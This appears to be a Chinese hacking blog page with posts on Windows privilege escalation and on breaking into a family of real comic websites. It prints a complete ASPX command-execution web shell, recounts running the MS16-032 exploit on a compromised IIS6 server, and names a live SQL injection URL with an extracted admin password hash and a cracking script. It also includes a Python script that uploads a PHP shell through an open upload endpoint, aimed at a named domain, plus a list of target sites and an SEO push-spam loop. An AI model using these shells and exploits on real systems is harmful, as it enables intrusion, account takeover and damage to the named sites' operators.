admin 发布的文章

分享一个Windows提权小技巧


当我们遇到Windows的提权的时候
php有时候安全模式执行不了
我们可以尝试asp来执行
但是如果asp也不支持的话 就可以试试net
因为现在的服务器大部分都是集成环境
例如宝塔 PHPstudy 或者护卫神
除了phpstudy的话 另外两个很大几率都是支持aspx的
但是遇到aspx无法编译的时候 可以在根目录创建一个web.config文件来试试

<!-- Web.Config 配置文件 -->

<configuration>
    <system.web>
        <customErrors mode="Off"/>
    </system.web>
</configuration>

aspx cmd文件

<%@ Page Language="C#" AutoEventWireup="true"%>
<%@ import Namespace="System.Diagnostics"%>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<script runat="server" language="C#">
    protected void Page_Load(object sender, EventArgs e)
    {
        if(!IsPostBack) curdir.Text = Server.MapPath(".");
    }
    protected string RunCmd(string path, string cmd, string curdir)
    {
        string retval = "";

        try
        {
            Process p = new Process();
            p.StartInfo.FileName = path;
            p.StartInfo.UseShellExecute = false;
            p.StartInfo.WorkingDirectory = curdir;
            p.StartInfo.RedirectStandardError = true;
            p.StartInfo.RedirectStandardInput = true;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.CreateNoWindow = true;
            p.StartInfo.Arguments = cmd;
            p.Start();
            p.StandardInput.WriteLine("exit");
            retval = "rn----------- 运行结果 --------------rn";
            retval += p.StandardOutput.ReadToEnd();
            retval += "rn----------- 程序错误 --------------rn";
            retval += p.StandardError.ReadToEnd();
        }
        catch (Exception err)
        {
            retval = err.Message;
        }

        return retval;
    }
    protected void Execute_Click(object sender, EventArgs e)
    {
        string path = cmdpath.Text;
        string cmd = cmdline.Text;
        string wkdir = curdir.Text;

        result.Text = RunCmd(path, cmd, wkdir);
    }
    
</script>
<html xmlns="http://www.w3.org/1999/xhtml"; >
<head runat="server">
    <title>剑眉大侠 and Cmd.aspx</title>
</head>
<body>
    <form id="form1" runat="server">
    <div style="text-align: left">
        <span style="color: #ff99ff">Cmd.aspx powered by 剑眉大侠

</span>CMD Path:<asp:TextBox ID="cmdpath" runat="server" Width="755px">c:windowssystem32cmd.exe</asp:TextBox>
CurrentDir:<asp:TextBox ID="curdir" runat="server" Width="755px"></asp:TextBox>
CMD Line:<asp:TextBox ID="cmdline" runat="server" Width="756px">/c set</asp:TextBox> <asp:Button ID="Execute" runat="server" OnClick="Execute_Click" Text="Execute" />

<asp:TextBox ID="result" runat="server" Height="460px" TextMode="MultiLine" Width="901px"></asp:TextBox></div> </form> </body> </html>

实战帮朋友提一个服务器2003+IIS6.0


博客.png

大晚上的突然搞一个shell过来
进来看到是2003+iis6.0的环境 感觉好像没啥补丁
毕竟2003基本的服务商都停掉这个系统了
组件不支持asp执行 只能试试上aspx了
2.png

好家伙 直接拒绝访问
用文件扫了一下 c d盘都没有写入权限 只能在网站根目录写了
直接上传一个exp ms16-032
结果直接秒了 卧槽
3.png

他这是直接在我嘴里种水稻阿?
但是在这里又遇到了一个问题 百度云节点
4.png

当我尝试ipconfig的之后 找不到ip地址来连接
直接输入域名就是节点ip
但是用 netstat -ano查询的时候 就找到了网站的真实ip了
5.png

然后 查了一下端口
REG query HKLMSYSTEMCurrentControlSetControlTerminal" "ServerWinStationsRDP-Tcp /v PortNumber
6.png

完事 走人。


歪歪漫画前台注入


tp3.2.3的框架 通杀漏洞
http://www.xxmh520.com/home/book/index/id/13559*
漫画目录id过滤不严谨造成的注入 后台 admin或者admin.php
但是上个文章说到 用的是password_hash来加密的
验证的话呢 就是password_verify
如果有头铁的大哥想试试猜组合密码的话 附上以下php脚本

<?php 
function randomkeys($length) {
    $returnStr='';
    $pattern = '1234567890';   //随机数可以自己添加
    for($i = 0; $i < $length; $i ++) {
        $returnStr .= $pattern {mt_rand ( 0, 10 )}; //生成php随机数
    }
    return $returnStr;
}
for ($i=0; $i < 200; $i++) {  //循环几次
    $hash = '$2y$10$wdFK9JBse5HoOGbihwR.q.YXcmC44i3owBckvMhV06gmLvG5UlRHO';  //这个值呢 是SQL注入之后sqlmap里面获取管理员的密码值出来的  aa654339
    $login = "aa65433".randomkeys(1); //输出几位
    if (password_verify($login,$hash)) {
        echo $login."成功";
        exit();
    }else{
        echo $login.randomkeys(1)."n";
    }

}


 ?>

如果遇到乱码 请在cmd执行 chcp 65001
下面送一波采集的站

http://www.gomh555.com/
http://www.wap.hgmh12.com/
http://hgdm5.com/
http://papamhw.com/
http://xxmh.me/
http://manhua.ww01.net/
http://yymh228.com/
http://www.wwhanman.com/
http://17z.me/
http://99ymh.com/
http://k03.me/
https://www.ihgmh.com/
http://www.wy555.cn/
http://yy.ue321.cn/
http://www.xxmh520.com/

歪歪漫画前台无限制getshell


这是一个前段时间拿到的一个getshell
由于网站用户是用password_hash解不开 所以现在才发出来
需要安装requests库
用法:python 文件名.py

import requests
import json
from urllib.parse import urlparse

def upload_shell(url):
    #vn_url="http://www.wap.hgmh12.com/admin/FileUpload/uploadfile"
    vn_url = url + "/admin/FileUpload/uploadfile"
    files={"file":("t00ls.php",open("t00ls.php","rb"))}
    try:
        res=requests.post(vn_url,files=files)
        res=res.json()
        domain = urlparse(vn_url)
        domain = domain.scheme+"://"+domain.netloc
        shell_address = domain + res"data"
        shell_code = requests.get(shell_address).status_code
        if shell_code == 200:
            print("[+] Success Url:%s"%shell_address)
            filename = 'shell.txt'
            with open(filename, 'w') as file_object:
                file_object.write("Success Url:%s"%shell_address%"密码:pass")
        elif shell_code == 500 :
            print("[-] Shell is 500 %s" % shell_address)
        elif shell_code == 404:
            print("[-] Faild Error")
    except Exception as e:
        print(e)
    
    



upload_shell("https://www.yymh556.com/")

PHP熊掌ID周级推送


<?php 
ignore_user_abort(true); //后台执行
set_time_limit(0); //无限制
@header("Content-type: text/html; charset=utf-8");
for ($i=0; $i <5000000; $i++) {  
$urls = array(
    'http://www.fxseo.net/index.php/archives/'.rand(1,318).'/', //作者本人的url规则是递增数
);
$api = 'http://data.zz.baidu.com/urls?appid=id值&token=token值&type=batch';
$ch = curl_init();
$options =  array(
    CURLOPT_URL => $api,
    CURLOPT_POST => true,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POSTFIELDS => implode("n", $urls),
    CURLOPT_HTTPHEADER => array('Content-Type: text/plain'),
);
curl_setopt_array($ch, $options);
$result = curl_exec($ch);
$json = json_decode($result,True);
if ($json['remain_batch'] != "0") {
    echo "周级推送剩余配额:".$json['remain_batch']." url:".$urls[0]."nr";
}else{
    echo "已经没有配额了兄弟."."nr";
}
}
 ?>

使用方法:php 文件名.php
这里要说一下 如果cmd输出乱码的话
chcp 65001
或者在php文件加入
system("chcp 65001");